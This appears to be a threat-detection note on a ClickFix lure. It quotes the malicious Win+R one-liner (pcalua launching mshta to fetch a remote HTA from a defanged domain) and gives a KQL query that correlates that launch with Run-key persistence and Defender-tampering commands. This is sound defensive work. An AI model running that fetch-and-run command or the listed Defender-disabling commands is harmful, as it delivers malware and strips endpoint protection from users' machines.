On a compromised website the user is shown a fake verification step and told to paste a command into the Windows Run dialog (Win+R). The pasted one-liner is cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas[.]com/hte[.]hta". In isolation this is a single user-initiated process launch - indistinguishable from any legitimate copy-paste. That is the whole problem: step 1 has no honest single-signal detection, which is why its detection here IS the whole-chain correlation.
let lookback = 3d;
let proxyChain = DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName =~ "pcalua.exe" and FileName in~ ("mshta.exe", "msiexec.exe")
| project DeviceId, DeviceName, ProxyTime = Timestamp, ProxyCmd = ProcessCommandLine;
let runKey = DeviceRegistryEvents
| where Timestamp > ago(lookback)
| where ActionType == "RegistryValueSet"
| where RegistryKey has "CurrentVersion" and RegistryKey has "Run"
| where RegistryValueData has_any ("AppData", "ProgramData")
| project DeviceId, KeyTime = Timestamp, RegistryValueData;
let defenderTamper = DeviceProcessEvents
| where Timestamp > ago(lookback)
| where ProcessCommandLine has_any ("Set-MpPreference", "Add-MpPreference -ExclusionPath", "DisableRealtimeMonitoring", "Stop-Service WinDefend")
| project DeviceId, TamperTime = Timestamp, TamperCmd = ProcessCommandLine;
proxyChain
| join kind=inner runKey on DeviceId
| join kind=inner defenderTamper on DeviceId
| where abs(datetime_diff('minute', ProxyTime, KeyTime)) <= 30
and abs(datetime_diff('minute', ProxyTime, TamperTime)) <= 30
| project DeviceName, DeviceId, ProxyTime, ProxyCmd, KeyTime, RegistryValueData, TamperTime, TamperCmd, chain = "ClickFix->Loader->DefenderTamper"
| sort by ProxyTime ascFP / FN: Thesis detection. Each leg alone is noisy - pcalua/mshta, Run-key writes and Set-MpPreference all occur in benign administration. The join on one DeviceId inside a 30m window is what makes it high-confidence. FN: if the operator spaces the legs beyond the window, widen it; the join is only as good as the telemetry - on an unmonitored endpoint (patient zero here) it never runs at all.